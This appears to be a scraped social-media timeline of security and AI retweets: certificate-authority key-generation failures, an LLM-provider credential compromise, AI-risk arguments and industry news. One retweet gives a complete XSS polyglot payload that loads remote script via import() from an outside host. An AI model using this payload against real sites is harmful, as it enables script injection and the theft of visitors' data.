OSINT⁃Android⁃Hardware⁃Cryptography⁃Forensics⁃Virtualization⁃GameDev #w00w00 cryptographyishard(@)https://xitter.twitterapi.xyz/t.co/Jwv7la6YPg ∧·∪
lurk moar
Joined January 2013
- Tweets81.7K
- Following8.7K
- Followers7.8K
- Likes5
cryptopotato retweeted
Some users are reporting receiving warnings from @OpenRouter related to a compromise of one of their AI providers. Credentials sent to DeepSeek V4 Flash 0731 via OpenRouter might have ended up in bad guys' hands. As usual, please make sure you don't give raw credentials to your agent in chats or send them to your LLM provider.
cryptopotato retweeted
Wow. Salon.com is shutting down. salon.com/2026/11/05/goodbye… Here's an exclusive I wrote for them in 2006 about an NSA spying facility in Missouri. Rest in peace, Salon. I better archive the stories I wrote for them before they disappear. salon.com/2006/06/21/att_nsa…
cryptopotato retweeted
This is easily fixable. We should require root CAs and intermediate CAs to publish hardware attestations into CT from their HSM that prove the key is non-exportable. Roots who can’t comply are remove from the root programme. The end
cryptopotato retweeted
More extinction humble-brag marketing hype. OpenAI isn't even profitable, but their technology is going to take over the world in 6 - 12 months?
However, an "AI accident" is a real risk. That's code for some idiot put an unreliable LLM in charge of a safety-critical system, and people died. This has always been the case and continues to be the case. Human harm, not due to AI competence, but to human incompetence.
Paul Christiano (OpenAI board member) yesterday:
"There's material risk of AI takeover in the next 6-12 months.
We have seen roughly the things we might expect to see shortly before something really bad were to happen.
Even with [any] realistic policy responses, the risk remains exceptionally high.
If we build this as quickly as we can in the easiest way we can the chance is [more like] a coin flip [within the next 3 years].
For most people in this room, the most likely reason they will die is because of an AI accident."
Christiano:
• Is on OpenAI's safety and security committee (which exists to block risky practices)
• Co-invented RLHF at OpenAI back in 2017-2021
• From 2024-2026 was head of safety at the US gov's AI agency (now called CAISSI)
(Video is from 'The Hinton Lectures' there's another on tonight and tomorrow.)
cryptopotato retweeted
For the in-person payments world, PCI PIN auditors examine key handling procedures and ceremonies. It isn't perfect, but staggering how nothing like this exists in the WebPKI world for CAs that the entire Internet depends upon.
The lesson is: you should be your own trust anchor.
cryptopotato retweeted
This is good info about Microsoft Defender internals.
protokol-7.github.io/dfir/20…
cryptopotato retweeted
BREAKING: Nvidia, $NVDA, is preparing to fire Jensen Huang, its founder and CEO, after allegations of a second affair have surfaced, per WSJ.
The board is preparing to meet as soon as today to determine his future.
cryptopotato retweeted
I wonder how many other CAs generated their private keys outside of the HSM, and whether it’s even possible to audit at this point.
cryptopotato retweeted
Neat adventure in unlocking features by blowing efuses.
blog.kate.land/posts/using-v…
cryptopotato retweeted
People too polite to say it.
No other reason other than to deliberately weaken the cert signing process so that this can used for MITM purposes.
They could have done bunch of other things that would have been far too difficult to detect.
- Keys that were weak in a way they knew about it instead of 4
- Generated certs for domains that aren’t so popular. Not everyone is watching for such issuances
- maybe code signing certs
- maybe it’s meant for devices who don’t do revocation
Guessing this isn’t something they do normally. Got forced and the moment faced scrutiny decided to leave the business altogether.
Curious thing for me is how come they had an entire CA business just for a few customers.
cryptopotato retweeted
🤖 Made with AI
Turns out we could have just written 6 million lines of Lean to verify Signal instead of messing with these papers and symbolic models this whole time deepmind.google/blog/introdu…
cryptopotato retweeted
The Best XSS Polyglot
JavaScript://%250A/*?'/*\'/*"/*\"/*`/*\`/*%26apos;)/*<!--></Title/</Style/</Script/</textArea/</iFrame/</noScript>\74k<K/contentEditable/autoFocus/OnFocus=/*${/*/;{/**/(import(/https:xss.brutelogic.net/.source))}//\76-->
Pop alerts boxes everywhere.
cryptopotato retweeted
LOL. So the "4" key thing was due to a shitty PQC HSM vendor not being able to ship in time, so the CA decided to handroll some python and fucked it up.
cryptopotato retweeted
I've got a feeling that a lot of security consultants who are being told not to use LLMs on pentests are, in fact, using LLMs on pentests
Since I haven't mentioned this in a while my day still revolves around client conversations like
“We allow frontier models.”
“We don’t allow frontier models.”
“Local inference only.”
“We want you to use Chinese models.”
“We don’t want you to use Chinese models.”
“Frontier models, but only through Bedrock.”
cryptopotato retweeted
i cannot emphasize enough how much this specific worldview and disdain has led to both poor product decisions and the complete and total ire of the public.
cryptopotato retweeted
Saw something around AI making folk uncomfortable with saying “I don’t know”. Please please please shout when you don’t know something. There is nothing wrong with that. Every single person at some point also didn’t know.
cryptopotato retweeted
Decoys can reveal intruders and AI agents that exceed their scope. Will the renewed interest in cyber deception leave a lasting mark on how we defend?
xitter.twitterapi.xyz/lennyzeltser/status/21…
cryptopotato retweeted
We’ll all be around at the end of 2027. And at the end of 2028. And at the end of 2029. And every time, METR or some similar propaganda organization will tell us how we’re all on the verge of dying.
